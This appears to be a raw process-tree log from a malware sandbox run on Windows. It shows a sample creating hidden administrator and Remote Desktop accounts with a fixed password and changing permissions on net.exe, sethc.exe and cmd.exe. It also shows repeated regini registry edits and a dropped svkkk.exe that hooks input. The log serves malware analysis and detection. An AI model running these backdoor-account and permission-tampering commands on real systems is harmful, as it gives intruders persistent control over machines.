C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:4484

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com2 /add
3⤵
PID:4520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com2 /add
4⤵
PID:4560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:2024

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /c /d everyone
3⤵
PID:2404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:4616

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /c /d everyone
3⤵
PID:764

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:216

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3652

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1248

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3112

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:828

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:800

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2476

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:4212

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1776

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2016

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2248

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3148

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:752

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3948

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1432

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3920

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4340

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:212

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1720

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4468

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:908

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:5112

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2368

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2700

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4648

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4748

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1144

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4228

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:696

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3884

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4520

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3192

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3716

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:2856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
3⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1996

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:800

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:828

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3116

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3860

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3040

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3756

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4408

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2436

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2320

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4800

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3152

C:\WINDOWS\SysWOW64\svkkk.exe
C:\WINDOWS\system32\svkkk.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2732

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3876

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4224

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4740

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:1788

C:\WINDOWS\SysWOW64\svkkk.exe
C:\WINDOWS\system32\svkkk.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3240

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1452

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:4340

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net.exe /e /t /g everyone:c
2⤵
PID:1132

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /t /g everyone:c
3⤵
PID:3244

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net1.exe /e /t /g everyone:c
2⤵
PID:4308

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /t /g everyone:c
3⤵
PID:4064

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net localgroup "Remote Desktop Users" txj888.com0 /add & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net localgroup "Remote Desktop Users" txj888.com1 /add & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes & net localgroup "Remote Desktop Users" txj888.com2 /add & echo y|cacls c:\windows\system32\net.exe /e /c /d everyone & echo y|cacls c:\windows\system32\net1.exe /e /c /d everyone &
2⤵
PID:1720

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:3760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:4844

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:2404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:3112

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:3792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:1332

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com0 /add
3⤵
PID:1424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com0 /add
4⤵
PID:480

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:3200

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:3080

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:2276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:3104

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:4496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:3800

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com1 /add
3⤵
PID:4564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com1 /add
4⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:3424

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:3288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:5100

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:2888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:4336

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com2 /add
3⤵
PID:2908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com2 /add
4⤵
PID:1408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:1128

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /c /d everyone
3⤵
PID:1432

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /c /d everyone
3⤵
PID:3452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:4320

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes &
2⤵
PID:3704

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:3168

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:1960

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:4852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:2656

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:1668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:4716

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:4084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:4832

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:2980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:4656

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:3300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:5052

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:3672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:4020

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:3296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:2248

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:3152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:4828

C:\Windows\SysWOW64\cmd.exe
cmd /c echo y|cacls c:\windows\system32\mmc.exe /e /c /d everyone
2⤵
PID:3172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:764

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\mmc.exe /e /c /d everyone
3⤵
PID:1296

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 /active:yes & & net user txj888.com1 /active:yes & net user txj888.com2 /active:yes &
2⤵
PID:4468

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
2⤵
PID:924

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
3⤵
PID:2236

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
2⤵
PID:204

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
3⤵
PID:4364

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:5036

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3960

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3756

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:2360

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1344

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3900

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4060

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2244

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2412

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net.exe /e /t /g everyone:c
2⤵
PID:4608

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /t /g everyone:c
3⤵
PID:3908

C:\Windows\SysWOW64\cmd.exe
cmd /c echo y|cacls c:\windows\system32\mmc.exe /e /c /d everyone
2⤵
PID:4068

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\mmc.exe /e /c /d everyone
3⤵
PID:3172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:1604

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net localgroup "Remote Desktop Users" txj888.com0 /add & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net localgroup "Remote Desktop Users" txj888.com1 /add & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes & net localgroup "Remote Desktop Users" txj888.com2 /add & echo y|cacls c:\windows\system32\net.exe /e /c /d everyone & echo y|cacls c:\windows\system32\net1.exe /e /c /d everyone &
2⤵
PID:4884

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:1516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:3220

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:4364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:116

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:1280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:1848

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com0 /add
3⤵
PID:1228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com0 /add
4⤵
PID:1436

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:3096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:4808

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:2992

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:4208

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:3924

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com1 /add
3⤵
PID:2016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com1 /add
4⤵
PID:4304

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:3544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:2384

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:4996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:3808

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:3092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:4164

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com2 /add
3⤵
PID:1572

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com2 /add
4⤵
PID:4432

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:4632

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /c /d everyone
3⤵
PID:2536

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /c /d everyone
3⤵
PID:3356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:2160

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes &
2⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:2368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:3160

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:1248

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:1668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:4752

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 398358887 /add
4⤵
PID:3788

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:2884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:3724

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:3500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:3860

C:\Windows\SysWOW64\net.exe
net user txj888.com2 398358887 /add
3⤵
PID:2984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 398358887 /add
4⤵
PID:3412

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com2 /add
3⤵
PID:1428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com2 /add
4⤵
PID:4020

C:\Windows\SysWOW64\net.exe
net user txj888.com2 /active:yes
3⤵
PID:4380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com2 /active:yes
4⤵
PID:4872

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 /active:yes & & net user txj888.com1 /active:yes & net user txj888.com2 /active:yes &
2⤵
PID:4880

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
2⤵
PID:4576

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\sethc.exe /e /t /g everyone:c
3⤵
PID:2012

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
2⤵
PID:484

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\cmd.exe /e /t /g everyone:c
3⤵
PID:2672

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net1.exe /e /t /g everyone:c
2⤵
PID:212

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net1.exe /e /t /g everyone:c
3⤵
PID:3112

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4912

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2448

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:444

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4236

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4768

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:5068

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3044

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:4060

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:552

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:720

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4228

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:388

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4848

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3496

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:4824

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3532

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3708

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1684

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:204

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2664

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:1688

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:996

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3744

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1452

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Modifies Internet Explorer settings
PID:2152

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1996

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:2988

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:964

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Modifies Internet Explorer settings
PID:3096

C:\WINDOWS\SysWOW64\svkkk.exe
C:\WINDOWS\system32\svkkk.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3724

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2276

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:3860

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:3412

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
PID:4908

C:\WINDOWS\SysWOW64\svkkk.exe
C:\WINDOWS\system32\svkkk.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4124

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:1292

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3884

C:\Windows\SysWOW64\cmd.exe
cmd /c cd c:\windows\system32 & regini regini.ini
2⤵
PID:2236

\??\c:\Windows\SysWOW64\regini.exe
regini regini.ini
3⤵
- Sets file execution options in registry
PID:3212

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls c:\windows\system32\net.exe /e /t /g everyone:c
2⤵
PID:752

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\net.exe /e /t /g everyone:c
3⤵
PID:3916

C:\Windows\SysWOW64\cmd.exe
cmd /c echo y|cacls c:\windows\system32\mmc.exe /e /c /d everyone
2⤵
PID:4120

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo y"
3⤵
PID:3044

C:\Windows\SysWOW64\cacls.exe
cacls c:\windows\system32\mmc.exe /e /c /d everyone
3⤵
PID:4488

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:3876

C:\Windows\SysWOW64\cmd.exe
cmd /c net user txj888.com0 398358887 /add & net localgroup administrators txj888.com0 /add & net user txj888.com0 /active:yes & net localgroup "Remote Desktop Users" txj888.com0 /add & net user txj888.com1 398358887 /add & net localgroup administrators txj888.com1 /add & net user txj888.com1 /active:yes & net localgroup "Remote Desktop Users" txj888.com1 /add & net user txj888.com2 398358887 /add & net localgroup administrators txj888.com2 /add & net user txj888.com2 /active:yes & net localgroup "Remote Desktop Users" txj888.com2 /add & echo y|cacls c:\windows\system32\net.exe /e /c /d everyone & echo y|cacls c:\windows\system32\net1.exe /e /c /d everyone &
2⤵
PID:3152

C:\Windows\SysWOW64\net.exe
net user txj888.com0 398358887 /add
3⤵
PID:1224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 398358887 /add
4⤵
PID:4740

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com0 /add
3⤵
PID:3568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com0 /add
4⤵
PID:4440

C:\Windows\SysWOW64\net.exe
net user txj888.com0 /active:yes
3⤵
PID:2844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com0 /active:yes
4⤵
PID:1020

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" txj888.com0 /add
3⤵
PID:3816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" txj888.com0 /add
4⤵
PID:1208

C:\Windows\SysWOW64\net.exe
net user txj888.com1 398358887 /add
3⤵
PID:2292

C:\Windows\SysWOW64\net.exe
net localgroup administrators txj888.com1 /add
3⤵
PID:384

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrators txj888.com1 /add
4⤵
PID:3696

C:\Windows\SysWOW64\net.exe
net user txj888.com1 /active:yes
3⤵
PID:3496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user txj888.com1 /active:yes
4⤵
PID:4824

